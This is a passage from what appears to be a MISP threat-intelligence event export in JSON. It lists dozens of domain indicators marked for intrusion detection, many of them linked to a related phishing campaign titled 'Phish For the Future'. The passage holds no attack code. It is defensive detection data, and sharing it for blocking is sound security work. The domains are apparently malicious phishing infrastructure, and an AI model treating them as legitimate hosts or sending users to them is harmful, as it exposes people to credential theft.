"1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxbasichk.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxbasichk.com" + } + } + ] + }, + { + "id": "18638", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b704-4f9a-bac6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserver89.net", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18894", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d5b4-4852-907d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxbasichk1.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxbasichk1.com" + } + } + ] + }, + { + "id": "18639", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-15c4-4f56-9c76-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "srtnr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18895", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-e070-47f5-9941-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxbasicmy.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxbasicmy.com" + } + } + ] + }, + { + "id": "18640", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-40d0-4407-8e21-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserver89.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18896", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3690-4c15-99b4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxbasicru.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxbasicru.com" + } + } + ] + }, + { + "id": "18641", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-50e0-4cc7-8527-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserveruk89.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18897", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-fe1c-4b88-a1f1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxbasicru1.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxbasicru1.com" + } + } + ] + }, + { + "id": "18642", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-d2a4-4362-80d4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserveruk89.net", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18898", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-efd8-4e35-b441-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxbasicsg.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxbasicsg.com" + } + } + ] + }, + { + "id": "18643", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0968-4995-8b4b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "2mblk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18899", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-226c-4b68-9093-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxbasicsg1.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxbasicsg1.com" + } + } + ] + }, + { + "id": "18644", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-ddd8-474a-bf5e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserveruk89.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18900", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ce3c-4b3d-a1cf-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostingserviceclean.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "hostingserviceclean.com" + } + } + ] + }, + { + "id": "18645", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-7b58-47aa-9a92-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mblk1.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18901", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d230-4215-839c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostingserviceforall.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "hostingserviceforall.com" + } + } + ] + }, + { + "id": "18646", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-f934-4a99-9c8f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "un-told.net", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18902", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-bd48-4ac8-8a01-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostingservicesloyal.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "hostingservicesloyal.com" + } + } + ] + }, + { + "id": "18647", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-d980-4714-a8f9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-website33.net", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18903", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b0f8-471a-a175-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostingservicesukit.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "hostingservicesukit.com" + } + } + ] + }, + { + "id": "18648", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-8e70-479d-9aab-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-website33.biz", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18904", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-a7c8-492e-b0cc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "xpertmaildomain.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18649", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-3bf4-44f6-b012-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-website33.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18905", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3584-4b12-925f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "standardofficeholland.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "standardofficeholland.com" + } + } + ] + }, + { + "id": "18650", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b64c-41fd-8fed-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-website33.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18906", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-91e4-441f-8e18-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "standardofficeil.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "standardofficeil.com" + } + } + ] + }, + { + "id": "18651", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-00d8-4bb1-a02e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-website33.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18907", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-56b4-4798-85da-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "standardofficeuk.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "standardofficeuk.com" + } + } + ] + }, + { + "id": "18652", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-dae4-45a9-9694-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "browserextensions.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18908", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1fd0-4c51-aaa5-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "postserverem.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "postserverem.com" + } + } + ] + }, + { + "id": "18653", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-31a0-49cb-b011-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "allaboutiot.website", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18909", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-c498-4a47-ac99-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverformailings.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverformailings.com" + } + } + ] + }, + { + "id": "18654", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-2b90-4d94-aa1a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainserver322.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18910", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-acf4-4960-87bf-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverfornetworks.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverfornetworks.com" + } + } + ] + }, + { + "id": "18655", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-fb80-49d4-912d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "searchsimple.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18911", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-c358-49be-aa68-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforzapper.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverforzapper.com" + } + } + ] + }, + { + "id": "18656", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-014c-453e-b000-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ecom-servicelogin.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18912", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d710-4c41-89a9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serviceforneworder.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serviceforneworder.com" + } + } + ] + }, + { + "id": "18657", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-affc-4a69-ba79-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "searchsimple.net", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18913", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5cec-4d36-9d48-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "loginservicehelp.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "loginservicehelp.com" + } + } + ] + }, + { + "id": "18658", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-72fc-4068-b954-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "sapserverhipe.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18914", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-829c-454d-bd75-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shortenurlservices.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "shortenurlservices.com" + } + } + ] + }, + { + "id": "18659", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1bd0-42d0-bdd1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserver91.website", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18915", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5f40-4848-a111-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostusewithtech.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "hostusewithtech.com" + } + } + ] + }, + { + "id": "18660", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-e18c-467e-a40b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "phpwebserver34.site", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18916", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-fdb8-4975-9ea4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxhostingplatformuk.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxhostingplatformuk.com" + } + } + ] + }, + { + "id": "18661", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1e90-4e26-9a90-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "phpwebserver34.tech", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18917", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5cf0-4e14-9200-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "youranotherserver.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "youranotherserver.com" + } + } + ] + }, + { + "id": "18662", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-7cc8-4a6d-ac95-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "phpwebserver34.xyz", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18918", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b544-44bd-a17a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforhiretech.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverforhiretech.com" + } + } + ] + }, + { + "id": "18663", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-d034-4204-95bd-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "phpwebserver34.best", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18919", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b574-4200-beaa-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverfortechhelp.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverfortechhelp.com" + } + } + ] + }, + { + "id": "18664", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-eccc-432c-9ad7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myfacetik.cf", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18920", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-90ec-4a51-9cb1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "blogforpranks.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "blogforpranks.com" + } + } + ] + }, + { + "id": "18665", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-dcdc-4da8-a2f7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "goomail.ml", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18921", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4078-4c94-97f9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "planyourexoticvacation.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "planyourexoticvacation.com" + } + } + ] + }, + { + "id": "18666", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-af7c-4f6b-9404-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "websociofiles.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18922", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3108-4ce1-b76a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "usewithcareathome.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "usewithcareathome.com" + } + } + ] + }, + { + "id": "18667", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0c88-45e2-8ab3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainmanager33.website", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18923", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-51d4-4035-8752-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforhome.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverforhome.com" + } + } + ] + }, + { + "id": "18668", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-515c-4ed2-b281-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainmanager33.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18924", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-f100-4344-9990-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "optionsothego.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "optionsothego.com" + } + } + ] + }, + { + "id": "18669", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-6b38-4858-9427-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainmanager33.site", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18925", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1584-4172-9242-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "anitmationworldnews.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "anitmationworldnews.com" + } + } + ] + }, + { + "id": "18670", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0a08-4a29-a4a3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailtickr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18926", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-8c64-4036-b55a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "servicegoingfar.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "servicegoingfar.com" + } + } + ] + }, + { + "id": "18671", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-376c-4b9f-92c5-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "servergateway56.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18927", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-8b3c-4a51-bc70-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "trusteventservices.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "trusteventservices.com" + } + } + ] + }, + { + "id": "18672", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-dac8-48f3-b108-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "servergateway33.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18928", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ac3c-4cd0-852e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "belowmargins.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18673", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-d2e0-4497-ba46-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "msrfrgr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18929", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3b88-4b23-9f2f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostserverrus.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "hostserverrus.com" + } + } + ] + }, + { + "id": "18674", + "type": "domain", + "category": "Network activity", + 